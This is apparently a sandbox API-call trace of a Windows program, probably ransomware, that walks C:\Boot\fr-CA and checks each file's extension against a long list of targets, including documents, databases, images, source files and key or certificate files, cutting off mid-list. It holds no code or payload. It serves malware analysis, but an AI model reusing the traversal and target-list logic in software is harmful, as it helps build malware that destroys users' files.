	[0167.507] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.507] lstrlenW (lpString="C:\\Boot\\fr-CA") returned 13
	[0167.507] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.507] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.507] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.507] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0167.507] lstrlenW (lpString=".1cd") returned 4
	[0167.507] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.507] lstrlenW (lpString=".3ds") returned 4
	[0167.507] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0167.507] lstrlenW (lpString=".3fr") returned 4
	[0167.507] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0167.507] lstrlenW (lpString=".3g2") returned 4
	[0167.507] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0167.507] lstrlenW (lpString=".3gp") returned 4
	[0167.507] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0167.507] lstrlenW (lpString=".7z") returned 3
	[0167.507] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.507] lstrlenW (lpString=".accda") returned 6
	[0167.507] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0167.508] lstrlenW (lpString=".accdb") returned 6
	[0167.508] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0167.508] lstrlenW (lpString=".accdc") returned 6
	[0167.508] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0167.508] lstrlenW (lpString=".accde") returned 6
	[0167.508] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0167.508] lstrlenW (lpString=".accdt") returned 6
	[0167.508] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0167.508] lstrlenW (lpString=".accdw") returned 6
	[0167.508] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0167.508] lstrlenW (lpString=".adb") returned 4
	[0167.508] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0167.508] lstrlenW (lpString=".adp") returned 4
	[0167.508] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0167.508] lstrlenW (lpString=".ai") returned 3
	[0167.508] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0167.508] lstrlenW (lpString=".ai3") returned 4
	[0167.508] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0167.508] lstrlenW (lpString=".ai4") returned 4
	[0167.508] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0167.508] lstrlenW (lpString=".ai5") returned 4
	[0167.508] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0167.508] lstrlenW (lpString=".ai6") returned 4
	[0167.508] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0167.508] lstrlenW (lpString=".ai7") returned 4
	[0167.508] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0167.508] lstrlenW (lpString=".ai8") returned 4
	[0167.508] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0167.508] lstrlenW (lpString=".anim") returned 5
	[0167.508] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0167.508] lstrlenW (lpString=".arw") returned 4
	[0167.508] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0167.508] lstrlenW (lpString=".as") returned 3
	[0167.509] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0167.509] lstrlenW (lpString=".asa") returned 4
	[0167.509] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0167.509] lstrlenW (lpString=".asc") returned 4
	[0167.509] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0167.509] lstrlenW (lpString=".ascx") returned 5
	[0167.509] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0167.509] lstrlenW (lpString=".asm") returned 4
	[0167.509] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0167.509] lstrlenW (lpString=".asmx") returned 5
	[0167.509] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0167.509] lstrlenW (lpString=".asp") returned 4
	[0167.509] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0167.509] lstrlenW (lpString=".aspx") returned 5
	[0167.509] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0167.509] lstrlenW (lpString=".asr") returned 4
	[0167.509] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0167.509] lstrlenW (lpString=".asx") returned 4
	[0167.509] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0167.509] lstrlenW (lpString=".avi") returned 4
	[0167.509] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0167.509] lstrlenW (lpString=".avs") returned 4
	[0167.509] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0167.509] lstrlenW (lpString=".backup") returned 7
	[0167.509] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1
	[0167.509] lstrlenW (lpString=".bak") returned 4
	[0167.509] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0167.509] lstrlenW (lpString=".bay") returned 4
	[0167.509] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0167.509] lstrlenW (lpString=".bd") returned 3
	[0167.509] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0167.509] lstrlenW (lpString=".bin") returned 4
	[0167.510] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0167.510] lstrlenW (lpString=".bmp") returned 4
	[0167.510] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0167.510] lstrlenW (lpString=".bz2") returned 4
	[0167.510] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.510] lstrlenW (lpString=".c") returned 2
	[0167.510] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0167.510] lstrlenW (lpString=".cdr") returned 4
	[0167.510] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0167.510] lstrlenW (lpString=".cer") returned 4
	[0167.510] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0167.510] lstrlenW (lpString=".cf") returned 3
	[0167.510] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0167.510] lstrlenW (lpString=".cfc") returned 4
	[0167.510] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0167.510] lstrlenW (lpString=".cfm") returned 4
	[0167.510] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0167.510] lstrlenW (lpString=".cfml") returned 5
	[0167.510] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1
	[0167.510] lstrlenW (lpString=".cfu") returned 4
	[0167.510] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0167.510] lstrlenW (lpString=".chm") returned 4
	[0167.510] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0167.510] lstrlenW (lpString=".cin") returned 4
	[0167.510] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0167.510] lstrlenW (lpString=".class") returned 6
	[0167.510] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1
	[0167.510] lstrlenW (lpString=".clx") returned 4
	[0167.510] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0167.510] lstrlenW (lpString=".config") returned 7
	[0167.510] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1
	[0167.510] lstrlenW (lpString=".cpp") returned 4
	[0167.511] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0167.511] lstrlenW (lpString=".cr2") returned 4
	[0167.511] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0167.511] lstrlenW (lpString=".crt") returned 4
	[0167.511] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0167.511] lstrlenW (lpString=".crw") returned 4
	[0167.511] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0167.511] lstrlenW (lpString=".cs") returned 3
	[0167.511] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0167.511] lstrlenW (lpString=".css") returned 4
	[0167.511] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0167.511] lstrlenW (lpString=".csv") returned 4
	[0167.511] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0167.511] lstrlenW (lpString=".cub") returned 4
	[0167.511] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0167.511] lstrlenW (lpString=".dae") returned 4
	[0167.511] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0167.511] lstrlenW (lpString=".dat") returned 4
	[0167.511] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0167.511] lstrlenW (lpString=".db") returned 3
	[0167.511] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0167.511] lstrlenW (lpString=".dbf") returned 4
	[0167.511] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.511] lstrlenW (lpString=".dbx") returned 4
	[0167.511] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0167.511] lstrlenW (lpString=".dc3") returned 4
	[0167.511] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0167.511] lstrlenW (lpString=".dcm") returned 4
	[0167.511] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0167.511] lstrlenW (lpString=".dcr") returned 4
	[0167.511] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0167.511] lstrlenW (lpString=".der") returned 4
	[0167.511] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0167.512] lstrlenW (lpString=".dib") returned 4
	[0167.512] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0167.512] lstrlenW (lpString=".dic") returned 4
	[0167.512] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0167.512] lstrlenW (lpString=".dif") returned 4
	[0167.512] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0167.512] lstrlenW (lpString=".divx") returned 5
	[0167.512] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1
	[0167.512] lstrlenW (lpString=".djvu") returned 5
	[0167.512] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1
	[0167.512] lstrlenW (lpString=".dng") returned 4
	[0167.512] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0167.512] lstrlenW (lpString=".doc") returned 4
	[0167.512] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.512] lstrlenW (lpString=".docm") returned 5
	[0167.512] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1
	[0167.512] lstrlenW (lpString=".docx") returned 5
	[0167.512] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.512] lstrlenW (lpString=".dot") returned 4
	[0167.512] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0167.512] lstrlenW (lpString=".dotm") returned 5
	[0167.512] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1
	[0167.512] lstrlenW (lpString=".dotx") returned 5
	[0167.512] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1
	[0167.512] lstrlenW (lpString=".dpx") returned 4
	[0167.512] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0167.512] lstrlenW (lpString=".dqy") returned 4
	[0167.512] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0167.512] lstrlenW (lpString=".dsn") returned 4
	[0167.512] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0167.512] lstrlenW (lpString=".dt") returned 3
	[0167.512] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0167.512] lstrlenW (lpString=".dtd") returned 4
	[0167.513] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0167.513] lstrlenW (lpString=".dwg") returned 4
	[0167.513] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0167.513] lstrlenW (lpString=".dwt") returned 4
	[0167.513] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0167.513] lstrlenW (lpString=".dx") returned 3
	[0167.513] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0167.513] lstrlenW (lpString=".dxf") returned 4
	[0167.513] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0167.513] lstrlenW (lpString=".edml") returned 5
	[0167.513] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1
	[0167.513] lstrlenW (lpString=".efd") returned 4
	[0167.513] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0167.513] lstrlenW (lpString=".elf") returned 4
	[0167.513] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0167.513] lstrlenW (lpString=".emf") returned 4
	[0167.513] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0167.513] lstrlenW (lpString=".emz") returned 4
	[0167.513] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0167.513] lstrlenW (lpString=".epf") returned 4
	[0167.513] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0167.513] lstrlenW (lpString=".eps") returned 4
	[0167.513] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0167.513] lstrlenW (lpString=".epsf") returned 5
	[0167.513] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1
	[0167.513] lstrlenW (lpString=".epsp") returned 5
	[0167.513] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1
	[0167.513] lstrlenW (lpString=".erf") returned 4
	[0167.514] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0167.514] lstrlenW (lpString=".exr") returned 4
	[0167.514] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0167.514] lstrlenW (lpString=".f4v") returned 4
	[0167.514] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0167.514] lstrlenW (lpString=".fido") returned 5
	[0167.514] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1
	[0167.514] lstrlenW (lpString=".flm") returned 4
	[0167.514] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0167.514] lstrlenW (lpString=".flv") returned 4
	[0167.514] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0167.514] lstrlenW (lpString=".frm") returned 4
	[0167.514] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0167.514] lstrlenW (lpString=".fxg") returned 4
	[0167.514] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0167.514] lstrlenW (lpString=".geo") returned 4
	[0167.514] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0167.514] lstrlenW (lpString=".gif") returned 4
	[0167.514] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0167.514] lstrlenW (lpString=".grs") returned 4
	[0167.514] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0167.514] lstrlenW (lpString=".gz") returned 3
	[0167.514] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0167.514] lstrlenW (lpString=".h") returned 2
	[0167.514] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0167.514] lstrlenW (lpString=".hdr") returned 4
	[0167.514] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0167.514] lstrlenW (lpString=".hpp") returned 4
	[0167.515] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0167.515] lstrlenW (lpString=".hta") returned 4
	[0167.515] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0167.515] lstrlenW (lpString=".htc") returned 4
	[0167.515] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0167.515] lstrlenW (lpString=".htm") returned 4
	[0167.515] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0167.515] lstrlenW (lpString=".html") returned 5
	[0167.515] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1
	[0167.515] lstrlenW (lpString=".icb") returned 4
	[0167.515] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0167.515] lstrlenW (lpString=".ics") returned 4
	[0167.515] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0167.515] lstrlenW (lpString=".iff") returned 4
	[0167.515] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0167.515] lstrlenW (lpString=".inc") returned 4
	[0167.515] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0167.515] lstrlenW (lpString=".indd") returned 5
	[0167.515] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1
	[0167.515] lstrlenW (lpString=".ini") returned 4
	[0167.515] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0167.515] lstrlenW (lpString=".iqy") returned 4
	[0167.515] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0167.515] lstrlenW (lpString=".j2c") returned 4
	[0167.515] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0167.515] lstrlenW (lpString=".j2k") returned 4
	[0167.516] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0167.516] lstrlenW (lpString=".java") returned 5
	[0167.516] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1
	[0167.516] lstrlenW (lpString=".jp2") returned 4
	[0167.516] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0167.516] lstrlenW (lpString=".jpc") returned 4
	[0167.516] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0167.516] lstrlenW (lpString=".jpe") returned 4
	[0167.516] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0167.516] lstrlenW (lpString=".jpeg") returned 5
	[0167.516] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1
	[0167.516] lstrlenW (lpString=".jpf") returned 4
	[0167.516] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0167.516] lstrlenW (lpString=".jpg") returned 4
	[0167.516] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.516] lstrlenW (lpString=".jpx") returned 4
	[0167.516] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0167.516] lstrlenW (lpString=".js") returned 3
	[0167.516] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0167.516] lstrlenW (lpString=".jsf") returned 4
	[0167.516] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0167.516] lstrlenW (lpString=".json") returned 5
	[0167.516] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1
	[0167.516] lstrlenW (lpString=".jsp") returned 4
	[0167.516] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0167.516] lstrlenW (lpString=".kdc") returned 4
	[0167.516] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0167.516] lstrlenW (lpString=".kmz") returned 4
	[0167.517] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0167.517] lstrlenW (lpString=".kwm") returned 4
	[0167.517] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0167.517] lstrlenW (lpString=".lasso") returned 6
	[0167.517] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1
	[0167.517] lstrlenW (lpString=".lbi") returned 4
	[0167.517] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0167.517] lstrlenW (lpString=".lgf") returned 4
	[0167.517] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0167.517] lstrlenW (lpString=".lgp") returned 4
	[0167.517] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0167.517] lstrlenW (lpString=".log") returned 4
	[0167.517] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0167.517] lstrlenW (lpString=".m1v") returned 4
	[0167.517] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0167.517] lstrlenW (lpString=".m4a") returned 4
	[0167.517] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0167.517] lstrlenW (lpString=".m4v") returned 4
	[0167.517] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0167.517] lstrlenW (lpString=".max") returned 4
	[0167.517] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0167.517] lstrlenW (lpString=".md") returned 3
	[0167.517] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0167.517] lstrlenW (lpString=".mda") returned 4
	[0167.517] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0167.517] lstrlenW (lpString=".mdb") returned 4
	[0167.517] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0167.517] lstrlenW (lpString=".mde") returned 4
	[0167.517] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0167.517] lstrlenW (lpString=".mdf") returned 4
	[0167.517] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0167.517] lstrlenW (lpString=".mdw") returned 4
	[0167.517] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0167.518] lstrlenW (lpString=".mef") returned 4
	[0167.518] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0167.518] lstrlenW (lpString=".mft") returned 4
	[0167.518] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0167.518] lstrlenW (lpString=".mfw") returned 4
	[0167.518] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0167.518] lstrlenW (lpString=".mht") returned 4
	[0167.518] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0167.518] lstrlenW (lpString=".mhtml") returned 6
	[0167.518] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1
	[0167.518] lstrlenW (lpString=".mka") returned 4
	[0167.518] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0167.518] lstrlenW (lpString=".mkidx") returned 6
	[0167.518] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1
	[0167.518] lstrlenW (lpString=".mkv") returned 4
	[0167.518] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0167.518] lstrlenW (lpString=".mos") returned 4
	[0167.518] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0167.518] lstrlenW (lpString=".mov") returned 4
	[0167.518] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0167.518] lstrlenW (lpString=".mp3") returned 4
	[0167.518] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0167.518] lstrlenW (lpString=".mp4") returned 4
	[0167.518] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0167.518] lstrlenW (lpString=".mpeg") returned 5
	[0167.518] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1
	[0167.518] lstrlenW (lpString=".mpg") returned 4
	[0167.518] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0167.518] lstrlenW (lpString=".mpv") returned 4
	[0167.518] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0167.518] lstrlenW (lpString=".mrw") returned 4
	[0167.518] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0167.519] lstrlenW (lpString=".msg") returned 4
	[0167.519] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0167.519] lstrlenW (lpString=".mxl") returned 4
	[0167.519] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0167.519] lstrlenW (lpString=".myd") returned 4
	[0167.519] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0167.519] lstrlenW (lpString=".myi") returned 4
	[0167.519] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0167.519] lstrlenW (lpString=".nef") returned 4
	[0167.519] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0167.519] lstrlenW (lpString=".nrw") returned 4
	[0167.519] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0167.519] lstrlenW (lpString=".obj") returned 4
	[0167.519] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0167.519] lstrlenW (lpString=".odb") returned 4
	[0167.519] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0167.519] lstrlenW (lpString=".odc") returned 4
	[0167.519] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0167.519] lstrlenW (lpString=".odm") returned 4
	[0167.519] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0167.519] lstrlenW (lpString=".odp") returned 4
	[0167.519] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0167.519] lstrlenW (lpString=".ods") returned 4
	[0167.519] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0167.519] lstrlenW (lpString=".oft") returned 4
	[0167.519] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0167.519] lstrlenW (lpString=".one") returned 4
	[0167.519] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0167.519] lstrlenW (lpString=".onepkg") returned 7
	[0167.519] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1
	[0167.519] lstrlenW (lpString=".onetoc2") returned 8
	[0167.519] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1
	[0167.520] lstrlenW (lpString=".opt") returned 4
	[0167.520] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0167.520] lstrlenW (lpString=".oqy") returned 4
	[0167.520] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0167.520] lstrlenW (lpString=".orf") returned 4
	[0167.520] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0167.520] lstrlenW (lpString=".p12") returned 4
	[0167.520] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0167.520] lstrlenW (lpString=".p7b") returned 4
	[0167.520] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0167.520] lstrlenW (lpString=".p7c") returned 4
	[0167.520] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0167.520] lstrlenW (lpString=".pam") returned 4
	[0167.520] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0167.520] lstrlenW (lpString=".pbm") returned 4
	[0167.520] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0167.520] lstrlenW (lpString=".pct") returned 4
	[0167.520] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0167.520] lstrlenW (lpString=".pcx") returned 4
	[0167.520] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0167.520] lstrlenW (lpString=".pdd") returned 4
	[0167.520] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0167.520] lstrlenW (lpString=".pdf") returned 4
	[0167.520] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.520] lstrlenW (lpString=".pdp") returned 4
	[0167.520] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0167.520] lstrlenW (lpString=".pef") returned 4
	[0167.520] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0167.520] lstrlenW (lpString=".pem") returned 4
	[0167.520] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0167.520] lstrlenW (lpString=".pff") returned 4
